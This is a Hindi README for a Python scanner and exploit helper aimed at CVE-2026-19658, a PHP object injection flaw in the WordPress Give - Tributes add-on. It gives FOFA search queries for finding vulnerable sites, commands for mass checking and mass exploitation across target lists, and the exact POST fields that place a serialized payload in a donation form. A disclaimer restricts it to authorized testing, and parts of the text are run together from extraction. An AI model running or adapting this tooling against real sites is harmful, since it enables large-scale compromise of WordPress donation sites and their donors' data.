
CVE-2026-19658 के लिए Python 3 चेकर और एक्सप्लॉइट हेल्पर, जो WordPress Give Tributes PHP ऑब्जेक्ट इंजेक्शन फ्लॉ है, जिसमें FOFA टारगेट डिस्कवरी और लेगेसी डोनेशन फॉर्म एक्सप्लॉइटेशन शामिल है।
Python 3 प्रूफ-ऑफ-कॉन्सेप्ट स्कैनर और डोनेशन-चेन एक्सप्लॉइट हेल्पर CVE-2026-19658 के लिए, WordPress ऐड-ऑन Give - Tributes (Liquid Web / GiveWP) में।
| प्लेटफ़ॉर्म | WordPress प्लगइन (GiveWP कोर आवश्यक) |
| घटक | Give - Tributes |
| प्रभावित | ≤ 2.3.1 |
| में ठीक किया गया | 2.3.1.1+ (सैनिटाइज़्ड मल्टी-रिसिपिएंट eCard फ़ील्ड) |
| CVSS | 9.8 Critical |
| प्रमाणीकरण | अनधिकृत (लेगेसी डोनेशन फ़ॉर्म) |
| CWE | CWE-502 — अविश्वसनीय डेटा का डीसीरियलाइज़ेशन |
| असाइनर | Wordfence |
जब eCards के लिए Allow Multiple Recipients सक्षम हो और eCard custom message अक्षम हो (डिफ़ॉल्ट), तो कमजोर संस्करण डोनेशन मेटा में कच्चा $_POST eCard प्राप्तकर्ता डेटा संग्रहीत करते हैं। GiveWP फ़ील्ड सत्यापन $_POST की एक give_clean() प्रति का उपयोग करता है (सीरियलाइज़्ड स्ट्रिंग्स वहाँ खाली कर दी जाती हैं), लेकिन insert_tribute_data() असैनिटाइज़्ड $_POST पढ़ता है, इसलिए दूसरे प्राप्तकर्ता के first_name / last_name में एक PHP सीरियलाइज़्ड ऑब्जेक्ट हो सकता है।
प्रभाव: अकेले Give Tributes के भीतर कोई ज्ञात POP चेन नहीं। मेटा को पढ़ते समय डीसीरियलाइज़ किया जाता है (जैसे admin eCard preview/resend)। RCE या विनाशकारी प्रभाव के लिए किसी अन्य इंस्टॉल किए गए प्लगइन या थीम से गैजेट चेन की आवश्यकता होती है।
[give_form] / v2), न कि केवल v3 Visual Form Buildermanual)pip install -r requirements.txtpip install -r requirements.txt
# Single target — check (terminal flow on by default for --list)
python poc.py -u https://target.example --mode check
# Mass check
python poc.py --list targets.example.txt --mode check --threads 20 --flow
# Single target — exploit (authorized targets only)
python poc.py -u https://target.example --mode exploit \
--form-url /donate/ --form-id 123 --gateway manual \
--payload 'O:8:"stdClass":0:{}'
# Mass exploit from check output
python poc.py --list candidates.jsonl --mode exploit --threads 8 --flow \
--vuln-list exploited.txt
उदाहरण:
body="/wp-content/plugins/give-tributes/"
body="give-tributes" && body="givewp"
होस्ट सूची (प्रति पंक्ति एक डोमेन):
python poc.py --list my_hosts.txt --mode check --threads 20 --flow
FOFA CSV निर्यात:
python fofa_to_list.py -i fofa_export.csv
python poc.py --list list.txt --mode check --threads 20
एक्सप्लॉइट रन पर --vuln-list exploited.txt का उपयोग करें ताकि hits.txt में चेक हिट्स अधिलेखित न हों।
status मानरिमोट स्कैन विश्वसनीय रूप से "Allow Multiple Recipients" नहीं देख सकता; कैंडिडेट्स एक्सप्लॉइट के समय विफल हो सकते हैं।
first_name फ़ील्ड है।manual गेटवे अक्सर प्रोडक्शन में अक्षम होता है — फ़ॉर्म पर दिखने वाले गेटवे आज़माएँ (stripe, paypal, test, …)।give validation rejected donation: tribute/notify विकल्प, राशि, या गेटवे बेमेल।give_tributes_show_dedication=yes
give_tributes_would_to=send_eCard
give_tributes_ecard_notify[recipient][first_name][]=Valid
give_tributes_ecard_notify[recipient][first_name][]=<serialized payload>
give_tributes_ecard_notify[recipient][email][]=<donor email>
give_tributes_ecard_notify[recipient][email][][email protected]
…
.
├── poc.py
├── fofa_to_list.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
स्थानीय स्कैन सूचियाँ और रन आर्टिफ़ैक्ट्स (list.txt, fofa*.csv, *.jsonl, hits.txt, …) .gitignore में हैं और इन्हें कमिट नहीं किया जाना चाहिए।
केवल अधिकृत सुरक्षा परीक्षण और शिक्षा के लिए। लागू कानूनों और कार्यक्रम नियमों के अनुपालन की जिम्मेदारी आपकी है।
| विकल्प | विवरण |
|---|
-u, --url | एकल बेस URL |
--list | URL सूची, होस्ट फ़ाइल, या candidates.jsonl |
--mode | check या exploit |
--form-url | डोनेशन पेज पथ या पूर्ण URL |
--form-id | Give फ़ॉर्म पोस्ट ID |
--paths | फ़ॉर्म के लिए क्रॉल करने हेतु अतिरिक्त पथ |
--payload | दूसरे प्राप्तकर्ता के first_name के लिए सीरियलाइज़्ड ऑब्जेक्ट |
--gateway | Give payment-mode (डिफ़ॉल्ट manual) |
--email | दानकर्ता give_email |
--flow | मास रन पर प्रति लक्ष्य एक पंक्ति (डिफ़ॉल्ट --list के साथ) |
--no-flow | केवल प्रगति सारांश |
--quiet, -q | न्यूनतम कंसोल आउटपुट |
--threads, -j | मास कन्करेंसी (डिफ़ॉल्ट 12) |
--output | JSONL लॉग (डिफ़ॉल्ट cve_2026_19658_results.jsonl) |
--vuln-list | टेक्स्ट हिट्स / एक्सप्लॉइटेड पंक्तियाँ (डिफ़ॉल्ट hits.txt) |
--candidates-list | चेक मेटाडेटा JSONL (डिफ़ॉल्ट candidates.jsonl) |
| फ़ाइल | मोड | सामग्री |
|---|
cve_2026_19658_results.jsonl | दोनों | प्रति लक्ष्य पूर्ण JSON |
hits.txt | check | exploitable_candidate वाले URL |
candidates.jsonl | check | best_form, संस्करण संकेत |
exploited.txt | exploit | url|payment=… जब डोनेशन की पुष्टि हो |
| स्थिति | अर्थ |
|---|
candidate | कमजोर प्लगइन + Give + tributes UI वाला लेगेसी फ़ॉर्म |
vulnerable_no_form | प्लगइन/संस्करण ठीक, क्रॉल किए गए पथों पर कोई उपयुक्त फ़ॉर्म नहीं मिला |
patched | Tributes > 2.3.1 या ≥ 2.3.1.1 (जब संस्करण पढ़ा जा सके) |
give_only | पता लगाने योग्य Tributes के बिना Give |
no_plugin | Tributes का पता नहीं चला |